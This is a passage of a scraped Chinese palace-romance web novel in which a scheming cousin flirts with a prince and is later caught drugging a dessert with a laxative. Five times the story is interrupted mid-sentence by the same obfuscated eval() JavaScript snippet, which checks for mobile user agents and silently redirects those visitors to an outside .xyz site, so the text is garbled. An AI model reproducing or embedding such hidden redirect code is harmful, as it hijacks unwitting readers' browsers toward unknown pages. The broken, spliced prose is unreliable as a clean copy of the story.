但林凤娇却撇了撇嘴,用筷子随意戳了戳盘中的水晶虾仁,阴阳怪气地说:“这虾仁看着个头倒是不小,就是不知道味道怎么样。不会是中看不中吃吧?” 说着,夹起一个放进嘴里,嚼了两下,“呸”地一声吐了出来,“什么玩意儿,又咸又淡,这也能叫招牌菜?” 姜莲也跟着发难,指着那道西湖醋鱼说道:“娘,您瞧瞧这鱼,这卖相,哪有半点精致的样子,还不如我们家厨子做的呢。” 她尝了一口,皱着眉头把筷子一扔,“这味道,简直糟透了,一股子腥味,也不知道是怎么做的。” 小二在一旁满脸尴尬,连忙说道:“两位夫人,实在对不住,若是菜品不合口味,小的这就去跟后厨说,给二位重新做。” 林凤娇白了小二一眼,没好气地说:“重新做?谁知道重做的又是什么样子。哼,就这水平,还敢在京城立足,也不怕笑掉别**牙。” 姜莲不依不饶,用手帕擦了擦嘴,像是那味道有多恶心似的,尖着嗓子道:“说不定啊,这酒楼的厨子都是临时找来充数的,根本就没什么真本事。就会坑骗像我们这样不明就里的客人。” 第56章 初次见面 姜莲正与林凤娇在大堂喧闹,忽闻门口传来衣袂窸窣声。 她转头望去,见顾清舟身着月白锦袍立在雕花门槛处,腰间玉佩折射晨光,映得他眉目愈发俊朗。 一个月前,姜莲在靖王与姜绾歌的大婚上,远远瞧见过他。那时的顾清舟身着红底金线的喜服,身姿挺拔,气宇轩昂。只是王爷的目光从未在她身上停留过。 此刻姜莲望着他从容走向掌柜询问菜式的身影,指尖无意识绞紧绢帕。上个月被长公主责令跪在王府阶前时,她听见围观百姓议论“姜家二姑娘怕是要烂在家里”。 顾清舟忽然回头,目光扫过满堂食客。姜莲慌忙低头,却见自己褪色的裙角在青砖上投下寒酸的阴影。 新来的小二没见过顾清舟,所以把他当成客人。 “这位公子可是要点菜?”小二的询问声惊醒沉思。 姜莲抬头时,正逢顾清舟转身,月白袍角扫过她面前的残羹。 林凤娇在桌下碰了碰她膝盖,姜莲这才惊觉自己盯着王爷发呆。 她慌忙起身时,发间木簪勾住纱帘,整个人踉跄着往顾清舟身上倒去。 这一跤摔得恰到好处,既避开了王爷的锦袍,又让他伸手扶住了她胳膊。 “这位姑娘可要小心。”顾清舟的声音带着世家子弟特有的慵懒。 姜莲仰头望进他眼底,瞬间仿若被蛊惑。顾清舟那深邃的眼眸中,此刻正带着一丝关切,让姜莲心跳陡然加快。 她双颊泛红,娇柔地说道:“多谢王爷关心,方才实在是失态了。”说罢,还微微咬着下唇,一副娇羞模样。 她急忙整理衣衫,脸上泛起娇羞的红晕,莲步轻移迎上前去,声音娇柔婉转:“王爷,没想到在此竟能遇见您,当真是莲儿的福气。” 顾清舟微微一怔,随即脸上浮现出温和的笑意,如春风拂面:“这位姑娘是?”那声音低沉悦耳,令姜莲愈发心动。 “王爷,我乃姜家二房之女姜莲,在姐姐和王爷大婚那天见过一面,可能王爷不记得了,不过今日能近距离见到王爷,才知传言非虚,王爷风采举世无双。”姜莲娇声说道,还俏皮地用手帕轻掩嘴角。 林凤娇虽不明女儿意图,但见她主动与王爷攀谈,立刻反应过来,赶忙上前恭敬福身:“王爷吉祥,小女年幼不懂事,若有冒犯之处,还望王爷海涵。” 顾清舟微笑着摆了摆手:“无妨,只是不知二位在此为何这般喧闹?” 姜莲眼中闪过一丝算计,立刻做出一副委屈又乖巧的模样,轻声说道:“王爷,实不相瞒,方才我们正与掌柜说这醉仙楼呢。久闻醉仙楼大名,今日一试,果然名不虚传。” 她顿了顿,眼中满是笑意,继续说道:“这里的菜品精致美味,小二也热情周到。我和母亲正商量着,往后要常来。结果,我起身时不小心被这纱帘绊住,闹了笑话,还险些撞到王爷,实在是莲儿的不是。” 说着,她又微微福身,一脸自责。 林凤娇在一旁愣了愣神,不知道女儿这样子是想干什么? 不过她很快便反应过来,连忙附和道:“是啊,王爷。这醉仙楼的确不错,是小女一时鲁莽,还望王爷别往心里去。” 顾清舟微微点头,笑着说:“无妨,姑娘没受伤便好。听你们这么说,看来王妃把这酒楼打理得很不错。” 姜莲急忙点头,眼中满是欢喜:“王爷,您不知道,刚才我和母亲吃得那叫一个满足。每道菜都堪称佳肴,就连这酒楼的布置,都透着雅致。” 她一边说着,一边用手帕轻轻扇着风,一副陶醉的模样。 “哦?”顾清舟来了兴致,“既然如此,本王倒要好好尝尝。” 姜莲一听,心中暗喜,觉得机会来了。她热情地说道:“王爷,那您一定要尝尝这里的招牌菜,像水晶虾仁、西湖醋鱼,都是一绝。方才我们吃得太急,都没好好品味,王爷您慢用,定能体会到其中美妙。” 顾清舟笑着应下,吩咐小二按姜莲推荐的上菜。 姜莲见状,主动说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777446|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“王爷,不如让莲儿在旁为您介绍菜品,也算是将功补过。” 顾清舟没有多想,点头同意。 姜莲喜滋滋地站在一旁,心里盘算着如何借着介绍菜品的机会,与王爷多亲近亲近,好让王爷对自己留下深刻印象,全然忘了自己一开始来酒楼是找茬的。 姜莲夹起一块芙蓉鸡片轻轻放进顾清舟的青瓷碗里,指尖有意无意擦过他的碗沿:王爷尝尝这个,用的是清晨刚摘的露水芙蓉。顾清舟笑着点头致谢,温言道:有劳妹妹了。 王爷总喊我妹妹,怪生分的。姜莲忽然将脸埋进手帕,声音细若蚊蚋,若是王爷不嫌弃,唤我莲莲可好? 她偷眼望去,见顾清舟正专注剔鱼骨。 林凤娇望着女儿眼中炽热的光芒,心中一阵暗喜。 这不正是个攀龙附凤的好机会吗? 自家二房在姜家一直地位低下,饱受大房的冷眼与排挤。若姜莲能勾搭上靖王,哪怕只是成为靖王的妾室,那姜家二房也能跟着飞黄腾达,彻底摆脱如今的窘境。 她深知女儿心思,姜莲向来不甘平庸,而如今这靖王,可不就是改变命运的绝佳阶梯? 虽然这事儿风险不小,可富贵险中求,若真能成功,她后半辈子就有着落了。 于是,她假装重重咳嗽起来,用帕子捂住嘴,指尖微微发抖,做出一副难受模样:“莲儿,娘突然心口疼得厉害,怕是得回去歇歇。” 说着,她撑着桌子就要起身,还不忘偷偷观察王爷的反应,心里盼着女儿能抓住这难得的独处机会,与王爷多亲近亲近,为日后铺路。 姜莲忙扶住母亲,眼底却闪过一丝焦急:“娘,您怎么了?要不要请大夫?” 林凤娇摇头,顺势将女儿往顾清舟身边推了推:“**病了,回府喝碗参汤便好。” 她转身时深深看了女儿一眼,“王爷,臣妇先告辞。” 姜莲接受到母亲的眼神,便明白了母亲知道她的意图。 如此,她就放心了。 第58章 马车里的两人 姜莲微微红了脸,轻声道:“王爷如此体贴,莲莲不知该如何报答。” 顾清舟看着她娇羞的模样,心中泛起一丝涟漪,说道:“无需报答,你我也算相识一场,本王理应照顾。” 姜莲抬头,眼眸亮晶晶地看着顾清舟,那眼神仿佛藏着万千情愫,轻声说:“王爷的恩情,莲莲都记在心里。” 就在这时,马车突然一个急刹车,车身猛地晃动。毫无防备的顾清舟和姜莲不由自主地往后倒去。 姜莲惊呼一声,本能地伸手去抓旁边的扶手,可不知是有意还是无意,她的身子却朝着顾清舟的方向倒去。 顾清舟下意识地伸出手臂,一把将姜莲揽入怀中,避免她摔倒受伤。 姜莲顺势紧紧依偎在顾清舟怀里,身子微微颤抖,佯装受惊地小声抽泣起来:“王爷,这是怎么了,莲莲好害怕……”她的声音带着哭腔,听起来楚楚可怜。 顾清舟感受到怀中女子的颤抖,心中满是怜惜。他轻轻拍着姜莲的背,温柔地安慰道:“莲莲别怕,想必是路上突然有什么状况,车夫才紧急刹车。有本王在,不会让你有事的。”说罢,他隔着车窗大声询问车夫:“怎么回事?” 车夫赶忙恭敬地回答:“王爷恕罪,刚刚路上突然窜出一只野猫,小的怕伤到它,才急刹车,惊扰了王爷和姑娘。” 顾清舟皱了皱眉,说道:“下次注意些,莫要再如此莽撞。”“是,王爷!”车夫连忙应道。 姜莲在顾清舟怀里微微抬起头,泪眼汪汪地看着他,娇嗔道:“王爷,刚刚可吓死莲莲了,莲莲的心现在还跳得好快。” 说着,她将手轻轻放在胸口,似乎在感受自己剧烈的心跳。 顾清舟看着姜莲近在咫尺的脸庞,她的眼眸中泪光闪烁,犹如清晨荷叶上的露珠,楚楚动人。 他的心跳也不禁微微加快,轻声说道:“没事了,已经没事了。你看,这不就安稳了。”他的声音低沉而温柔,仿佛有一种安抚人心的魔力。 姜莲微微咬着下唇,羞涩地低下头,说道:“王爷,莲莲还是有些害怕……”说着,她又往顾清舟怀里缩了缩,双手不自觉地抓紧了他的衣袖。 顾清舟看着姜莲这般娇弱的模样,心中的保护欲愈发强烈。他轻轻将姜莲搂得更紧了些,说道:“莫怕,本王会一直护着你。这一路,有本王在,定不会再让你受惊。” 马车继续在官道上平稳前行,车轮碾过青石板发出规律的声响。 姜莲却似乎仍沉浸在方才的惊吓中,身子微微颤抖着,没有要从顾清舟怀中离开的意思。 王爷...她声音轻若蚊呐,指尖无意识地绞着顾清舟的衣袖,莲莲还是觉得有些头晕。 顾清舟低头看她,只见姜莲面色苍白,长睫低垂,在眼下投下一片阴影。 他心中一动,竟不忍推开她。若是身子不适,便再靠一会儿。他听见自己这样说,声音比平日柔和许多。 姜莲嘴角几不可察地弯了弯,随即又换上楚楚可怜的表情:多谢王爷体恤。 她稍稍调整姿势,让自己更舒适地倚在顾清舟肩头,发间淡淡的茉莉香气若有似无地飘入顾清舟鼻间。 车帘被风掀起一角,阳光斜斜照进来,落在姜莲半边脸上。 顾清舟这才注意到她今日梳的是时下京城最流行的飞仙髻,一支银丝嵌珍珠的发簪斜插在鬓边,衬得她肤若凝脂。 王爷在看什么?姜莲忽然抬眸,正对上顾清舟的目光。 顾清舟轻咳一声,略显尴尬地移开视线:没什么,只是觉得你这发簪很别致。 姜莲故作羞涩地抬手抚了抚发髻:这是莲莲特意为今日准备的...话未说完,她突然哎呀一声,那支发簪竟从发间滑落,掉在两人之间的软垫上。 瞧我笨手笨脚的。姜莲懊恼地咬了咬唇,伸手去捡,却不小心碰倒了顾清舟放在一旁的手。 顾清舟只觉手背一凉,是姜莲纤细的指尖轻轻擦过。他心头微颤,鬼使神差地先一步拾起了发簪:我来帮你。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777448|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜莲眼中闪过一丝得逞的笑意,随即低头顺从地转过身去:劳烦王爷了。 顾清舟捏着那支还带着体温的发簪,一时不知该如何下手。 他虽贵为王爷,却从未为女子挽过发。犹豫片刻,他小心地将发簪插入姜莲乌黑的发间,指尖不经意触到她耳后的肌肤,如丝绸般细腻。 王爷...姜莲忽然轻声唤他,声音里带着一丝颤抖。 嗯?顾清舟下意识应道,呼吸不知何时变得有些急促。 姜莲缓缓转过身来,两人距离近得能感受到彼此的呼吸。她眼波流转,朱唇轻启:簪子...插歪了。 顾清舟这才发现发簪确实歪斜地挂在她的发髻上,显得有几分滑稽。他不由失笑:是我手拙。说着便要重新调整。 姜莲却按住他的手:让莲莲自己来吧。她的手覆在顾清舟手背上,温暖柔软。 顾清舟一时怔住,竟忘了抽回手。他凝视着近在咫尺的姜莲,忽然发现她左眼角下有一颗极小的泪痣,为她平添几分娇弱之美。 王爷为何这样看着莲莲?姜莲似羞似怯地垂下眼帘,长睫如蝶翼般轻颤。 顾清舟喉结滚动,正欲开口,马车却突然又是一阵颠簸。 这次姜莲直接整个人扑进了他怀里,温香软玉满怀,顾清舟下意识地收紧双臂。 王爷恕罪!车夫惶恐的声音从外面传来,前方有个水坑... 无妨。顾清舟声音有些暗哑,却没有松开怀中的人。 姜莲将脸埋在顾清舟胸前,听着他有力的心跳声,嘴角勾起一抹得逞的弧度。 她抬起泪眼朦胧的脸:王爷,莲莲是不是...太失礼了? 顾清舟看着她泛红的眼眶,心中某处忽然软了下来。 他抬手轻轻拭去姜莲眼角并不存在的泪水:不必拘礼。 姜莲像是受到鼓励,大胆地将手搭在顾清舟肩上:王爷待莲莲这样好,莲莲实在..…. 她欲言又止,眼中似有千言万语。 第60章 一起去候府? 青柠被自家主子的话惊得目瞪口呆。自从半年前王妃娘娘大病一场后,说话做事就变得格外...特别。 姜绾歌站起身,在房间里来回踱步,突然露出狡黠的笑容:去,把我新研制的""金玉满堂酥""给王爷送去,就说本王妃特意为他做的。 青柠看着食盒里金光闪闪的点心,震惊得说不出话来:这...这点心上贴的是金箔?真金? 没错,纯金打造。姜绾歌得意地挑眉,记得要当着姜莲丫鬟的面送过去,最好让全府的下人都看见。 青柠小心翼翼地问:娘娘,这点心...能吃吗? 当然能!姜绾歌翻了个白眼,我在金箔下面可是实打实地做了酥皮,加了上好的碧螺春茶叶,保证香酥可口。她凑近青柠,压低声音,就是要让某些人知道,什么才叫真正的""亲手制作""。 翌日,书房。 顾清舟盯着食盒里闪闪发光的点心,眉头微皱。这点心做工精致,每一块都包裹着金箔,在阳光下熠熠生辉。 王妃何时学会这等手艺?他沉声问道。 青柠按照吩咐恭敬回答:回王爷,娘娘熬了整夜呢。说是从西域商人那里学来的秘方,全京城独一份。 顾清舟伸手拿起一块,金箔在指尖微微颤动。他轻轻咬了一口,茶香立刻在口中弥漫开来,酥脆的外皮包裹着绵软的馅料,确实非同凡响。 窗外突然传来瓷器碎裂的声音。顾清舟抬眼望去,只看到一片衣角匆匆闪过。 姜绾歌躲在廊柱后面,捂着嘴偷笑。她刚才亲眼看到姜莲收到王府里的李婆子躲在窗下偷听,这会儿怕是急着去报信了。 跟我斗?她小声嘀咕,姐姐我可是看过三百集宫斗剧的人! 姜府。 啪!又一个上好的青瓷茶盏粉身碎骨。 姜莲气得浑身发抖,精致的脸蛋都扭曲了:金箔点心?她当自己是御厨吗?!还西域秘方?全京城独一份? 李婆子战战兢兢地跪在地上:姑娘息怒...王妃还命人收拾了西厢房,全换成软烟罗,说是专门为您准备的... 什么软烟罗!姜莲一把扯过绿翘手中的布料,这分明是最次的纱料!连我房里的抹布都不如!她突然愣住,眼中闪过一丝疑惑,等等,她怎么知道我最讨厌这种料子? 她记得很清楚,自己从未在姜绾歌面前表露过对布料的喜好。自从那个懦弱的嫡姐嫁入王府后,就像变了个人似的,不仅把醉仙楼经营得风生水起,现在居然还... 不行!姜莲猛地站起身,后日的点心我必须亲自做!绿翘,去把最好的点心师傅请来,就说本小姐要学做点心! 三日后,姜府厨房,姜莲看着眼前一团糟的局面,气得想骂人。面粉撒得到处都是,糖霜粘在衣袖上,就连发髻都散了几缕。 这鬼杵臼如何能搅得细腻!姜莲将木杵狠狠掼在石案上,望着石臼里黏成一团的糯米粉杏眼圆睁,绣着并蒂莲的袖口扫落半盏清水。 莫说要做出让王爷称赞的点心,便是把这面团揉得匀净,怕也比在长公主寿宴上讨赏还难! 绿翘小心翼翼地递上一盘刚出炉的桂花糕:姑娘,您看这样可行? 姜莲刚想点头,突然发现桂花颜色不对。她凑近闻了闻,脸色骤变:这桂花... 厨娘笑容可掬地走过来:回二姑娘,是王妃特意送过来的陈年桂花,说您最爱这风味呢! 姜莲的手指深深掐进掌心。陈年桂花!这东西做出来的点心又苦又涩,根本难以下咽! 她这才明白过来,自己又被那个**摆了一道! 醉仙楼的账房里,姜绾歌靠在窗边,听着姜府里下人的汇报,笑得前仰后合。 陈年桂花做的点心,涩得能当砂纸用!她拍着桌子,看你这回怎么装贤惠! 青柠在一旁欲言又止:娘娘,这样会不会...太明显了? 明显?姜绾歌擦掉笑出的眼泪,我就是要让她知道,跟我玩心眼的下场。她的眼神突然变得锐利,你可知道,我为何如此针对她? 青柠摇摇头。 因为...姜绾歌的声音低了下来,在我嫁入王府前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777450|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她曾把我推入冰湖,差点要了我的命。 这是原主留给她的记忆碎片。那个寒冷的冬日,姜莲笑着把不会游泳的嫡姐推入冰窟,然后装作惊慌失措地喊人救命。 所以现在,姜绾歌站起身,整理了一下衣裙,该轮到我来教教她,什么叫""恶有恶报""了。 姜莲提着描金食盒踏入王府的书房时,裙摆扫过门槛上的青铜螭纹门挡,发出细碎声响。 她特意换上新裁的月白襦裙,鬓边斜簪着三朵新鲜白菊,却在瞥见书案上的螺钿食盒时,指尖狠狠掐进掌心——那盒金玉满堂酥的金箔,在夕阳下晃得她眼睛生疼。 王爷安好。她福身行礼,声音柔得能滴出水来,莲儿今日特意下厨,做了王爷最爱吃的桂花糕。 说着掀开食盒,十二块灰扑扑的糕点整齐码在缠枝莲纹瓷盘里,隐约飘出一股酸涩气息。 顾清舟搁下手中书卷,目光掠过她发红的指尖——那是方才在厨房被木杵磨破的伤口,此刻还渗着血丝。 难为莲莲费心。他淡淡开口,修长手指却在触及桂花糕时顿住,似是闻到什么不妥。 姜莲见状忙道:这桂花用的是去年陈酿,比新桂更添醇厚。她偷瞄着王爷的神色。 就在这时,雕花木门吱呀轻响。姜绾歌斜倚门框而立,身上的缂丝裙装绣着九只金线孔雀,随着动作流光溢彩。 她晃了晃手中的烫金请柬,腕间羊脂玉镯撞出清脆声响:王爷,侯府派人三催四请,怕是等急了。 顾清舟的目光在两盒点心之间游移。一边是色泽黯淡的桂花糕,一边是金光璀璨的金玉满堂酥。 他起身时带起一阵墨香,经过姜莲身边时淡淡道:点心留下吧。 话音未落,姜绾歌已笑着挽上他的手臂:王爷且慢,您瞧这金箔酥...她故意凑近,发间的龙脑香混着糕点甜香扑面而来,臣妾特意在每块酥皮里都藏了相思豆呢。 姜绾歌见姜莲那扭曲的脸,忽然心生一计。 “妹妹,正巧你也在这里,要不我们就一起去侯府吧?” 第61章 猜灯迷 姜莲听到他这一说,想着不去白不去,于是应下了。 姜莲闻言脸色瞬间煞白,手中的帕子绞得死紧:这...这不合适吧?侯府的帖子并未邀请莲儿... 哎呀,妹妹怎么这般见外?姜绾歌故作惊讶,侯夫人最是宽厚,况且——她意味深长地顿了顿,妹妹不是最爱热闹吗?上次在长公主的宴会上,还特意献上雪莲露呢。 这话一出,姜莲如遭雷击。那件事后,京城贵女圈都在传她故意谋害长公主,她哪敢再出席宴会? 顾清舟眉头微蹙,显然也想起了那场风波。他看向姜莲的目光多了几分审视:既然王妃相邀,你便一同去吧。 姜莲急得眼眶发红:王爷,莲儿今日身子不适... 妹妹这是怎么了?姜绾歌故作关切地伸手摸她额头,莫不是还在为长公主的事忧心?放心,侯夫人最是明理,不会因为那点小事就怪罪于你的。 姜莲浑身发抖,却不敢在王爷面前发作,只能咬牙应下:那...那莲儿便恭敬不如从命了。 侯府门前,红灯笼高挂,朱漆大门敞开。当姜莲跟在王爷和王妃身后出现时,门口的仆妇们交换了一个意味深长的眼神。 王爷、王妃到——管家高声唱名,却在看到姜莲时明显顿了一下,呃...姜二姑娘到—— 厅内众人循声望去,原本热闹的谈笑声顿时一滞。不少贵妇都用团扇掩面,窃窃私语起来。 那不是姜二姑娘吗? 就是她害得长公主起疹子的? 天啊,她怎么还敢出来赴宴... 姜莲如芒在背,恨不得找个地缝钻进去。她低着头,死死攥着裙角,连呼吸都变得困难。 侯夫人端坐在主位,目光冷冷地扫过姜莲,随即换上笑容迎向王爷王妃:王爷、王妃大驾光临,真是蓬荜生辉。 姜绾歌盈盈一拜:夫人客气了。她故意侧身,让姜莲暴露在众人视线中,今日还带了家妹一同前来,夫人不介意吧? 侯夫人嘴角的笑容僵了僵:自然...不介意。她看向姜莲的眼神却冷若冰霜,姜二姑娘近来可好?长公主的疹子可大好了? 这话如同一记耳光,扇得姜莲眼前发黑。她颤抖着行礼:回、回夫人,莲儿实在不知那雪莲露... 妹妹。姜绾歌突然打断她,声音温柔却不容置疑,侯夫人只是关心长公主,你紧张什么? 姜莲咬破了下唇,尝到血腥味才勉强稳住心神:是莲儿失态了... 席间,姜莲被安排在末座,周围空出一大片位置,无人愿意与她同席。 姜莲孤零零地坐着,连斟茶的丫鬟都刻意绕过她。她强撑着笑脸,指尖却把绢帕绞得发皱。 姜绾歌翘着二郎腿坐在主桌,指尖转着青瓷茶盏,心里冷笑。 活该!让你丫整天装白莲! 听说姜二姑娘精通药理?穿绛色褙子的刘夫人摇着团扇,声音尖得能戳破屋顶,不知可会医治风疹啊? 满座贵妇立刻发出做作的笑声,有几个还夸张地用帕子掩面。 姜莲的指甲已经掐进掌心,脸上还得挤出假笑:夫人说笑了... 姜绾歌倚在上首软榻,慢条斯理转着翡翠护甲,目光扫过姜莲青白的脸:“啧啧,这待遇堪比冷宫贵妃啊。” 她故意凑近顾清舟,声音甜得发腻,“王爷,您瞧妹妹多可怜,孤零零坐那儿,活像被遗弃的小鹌鹑。” 顾清舟眉头微蹙,想起马车里姜莲柔弱的模样,语气带了几分怜惜:“她毕竟是你妹妹,如此冷落,于礼不合。” “于礼不合?”姜绾歌突然笑出声,金步摇跟着晃得清脆,“合着王爷眼里,礼制只约束我这位正牌王妃?”她转眼又换上委屈脸,“罢了罢了,谁让我这做姐姐的,得担着‘贤良’的名声呢?” 顾清舟一时语塞,只能转头对众人道:“各位夫人,姜二姑娘年纪尚轻,行事或有不妥之处,但还望大家看在本王和王妃的面子上,莫要太过苛责。” 侯夫人意味深长瞥了姜绾歌一眼,笑着应道:“王爷都这么说了,我们自然不会再多说什么。只是宴会上讲究个和气,姜二姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777451|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘往后行事,还是稳重些好。” 姜莲眼底闪过感激,望向顾清舟柔声道:“多谢王爷维护,莲儿往后定会谨言慎行。” “谢什么谢?”姜绾歌翘着二郎腿,漫不经心道,“妹妹该谢的是王爷菩萨心肠,不像某些人,装了一肚子坏水。”她突然提高声调,“妹妹,还不快谢谢夫人们的‘厚爱’?” 姜莲咬着后槽牙挤出笑:“多谢夫人,多谢各位夫人。” 姜绾歌转着鎏金护甲,冲众人挑眉:“今日难得侯夫人设宴,大家敞开了玩!妹妹也别客气,多吃点——毕竟往后这种场面,怕是见一次少一次咯。” 侯府后花园张灯结彩,姜绾歌穿梭在灯笼间,三两下就揭下三张灯谜:“‘一物生来真奇怪,肚下长个大口袋’?这不是袋鼠……咳咳,分明是袋鼠的远房亲戚——布袋鼠!” “王妃好聪明!”众人喝彩声中,姜莲躲在树后,偷偷改了盏灯笼上的谜面。她刚转身,就见姜绾歌晃着折扇走来。 “哟,妹妹在这儿研究灯谜呢?”姜绾歌扫了眼灯笼,“这谜面看着眼熟啊,莫不是从《痴人说梦话本》里抄的?” 她故意拖长尾音,“不过抄归抄,抄得颠三倒四可就丢人了。” 姜莲冷笑:“姐姐莫要血口喷人,有本事你倒是猜!” 姜绾歌挑眉说出答案,姜莲立刻跳出来:“错了!答案明明是鸳鸯!” “鸳鸯?”姜绾歌凑近细看,突然“噗嗤”笑出声,“妹妹怕是把‘戏水’看成‘殉情’了吧?这谜面分明说的是……”她突然压低声音,“会飞的蟑螂。” 众人愣神间,顾清舟走过来解围:“或许灯谜本就有歧义,莲莲聪慧,偶尔失误也无妨。” “失误?”姜绾歌夸张地捂住胸口,“王爷这话传出去,京城才子们不得哭晕在茅房?我这正确率,放现代……咳咳,放前朝科举,那也是状元的水平!” 她突然贴近顾清舟耳畔,“不过王爷要护着妹妹,臣妾哪敢说半个不字?毕竟有些人,装柔弱的本事可比猜灯谜强多了。” 第62章 下泻药 天彻底黑透了,侯府里还闹哄哄的。 唱戏声、碰杯声混在一起,姜莲却躲在柱子后头,指甲都快把掌心掐出血。 她盯着主桌的姜绾歌,越看越气——姜绾歌正举着酒杯跟贵妇们说笑,金裙子在灯笼下晃得刺眼,分明是故意要在她面前显摆。 正恨得牙痒痒时,姜莲瞧见几个丫鬟端着甜汤从后厨出来。 白瓷碗里飘着桂花,甜香味直往鼻子里钻。 她突然想起姜绾歌白天故意让她在宴会上出丑,脑子一热,转身就往后厨摸。 后厨里乱成一团,厨子扯着嗓子喊“添柴”,小丫鬟抱着菜叶子跑得跌跌撞撞。 姜莲贴着墙根挪到角落,从袖兜里摸出早就备好的泻药包。 趁着没人注意,她掀开最近那碗甜汤的盖子,哗啦全倒了进去,还拿勺子搅了两下。 姜绾歌刚端起甜汤,就瞥见碗沿沾着半片可疑的黄纸碎屑。 她不动声色地用帕子擦了擦碗边,指尖捻起碎屑凑近鼻尖——熟悉的药味让她冷笑一声,余光扫过后厨方向。 “这汤看着就甜得发腻。”姜绾歌突然把碗推到顾清舟面前,“王爷尝尝?您不是总说我吃甜的就犯懒,该让给旁人?” 说着还朝姜莲的方向瞟了一眼。 顾清舟一愣,下意识就要接碗。 姜绾歌却突然按住碗沿,冲侯夫人笑道:“对了,听说后厨新来了个小厨娘,最会雕花摆盘,不如让她当面露一手?” 不等侯夫人回话,她直接招手叫来贴身丫鬟,“去把做这甜汤的人叫来,就说王妃要赏。” 姜莲的脸色瞬间煞白。 没等她反应过来,后厨就传来骚动。 原来姜绾歌早让丫鬟盯着姜莲,刚才她下药时,暗处的眼线立刻用银簪子在甜汤碗底刻了道记号。 这会儿顺着记号一查,端汤的小丫鬟吓得直哆嗦:“有人...有人在后厨角落往碗里撒东西!” 顾清舟脸色骤变,猛地起身。姜绾歌却慢悠悠摇着团扇:“王爷别急呀,先问清楚。” 她转眼看向姜莲,似笑非笑,“妹妹脸色这么差,莫不是着凉了?正好侯夫人这里药材齐全,要不要请个大夫瞧瞧?” 姜莲扑通跪下,还想辩解。 姜绾歌却突然惊呼一声,打翻了手边的茶盏。 滚烫的茶水泼在姜莲裙角,她尖叫着跳起来,袖兜里的半包泻药“啪嗒”掉在地上。 全场瞬间安静。 姜绾歌捂着嘴,一脸无辜:“妹妹这是...随身带着药?难道知道今日宴会上有人会不舒服?” 她转向顾清舟,眼眶泛红,“王爷,幸好您没喝那碗汤,否则...否则臣妾真不知道该怎么办了!” 顾清舟看着地上的泻药,眼神冰冷。 姜莲还在哭喊冤枉,双手死死抱住一旁的立柱,指节因用力而泛白。 放开我!我是被陷害的!她的声音几近嘶哑,裙摆被侍卫拽得皱成一团,发髻也散了半边,几缕头发凌乱地贴在脸上。 王爷!您信我啊!她扭动着身子拼命挣扎,一只绣鞋都甩了出去。 见顾清舟背过身不愿看她,姜莲急得眼眶通红,突然发狠一口咬在抓着她手臂的侍卫手上。 侍卫吃痛松手,她踉跄着往前扑,却又被其他侍卫架住。 姜绾歌才是坏人!她早就想害我!姜莲像疯了般大喊,泪水混着鼻涕糊了满脸。 她用脚乱蹬,打翻了旁边的茶几,杯盘碎裂声刺耳。 可任凭她如何挣扎,还是被几个侍卫连拖带拽地拉走,只留下一路凌乱的碎发和裙角。 侯夫人尴尬地打圆场,姜绾歌却按住额头,弱声道:“今日实在扫了大家的兴,都怪臣妾非要追查到底...” “是本王管教不严。”顾清舟沉声道。 他转身时,姜绾歌对着铜镜整理发簪,嘴角勾起一抹得意的笑——既让姜莲彻底失了王爷的信任。 姜绾歌看着姜莲被狼狈地拖走,转头对侯夫人福了福身,轻声道:“侯夫人,今日之事闹得这般难看,实在抱歉。莲儿做出这等事,实在有辱家门,我这便让人将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 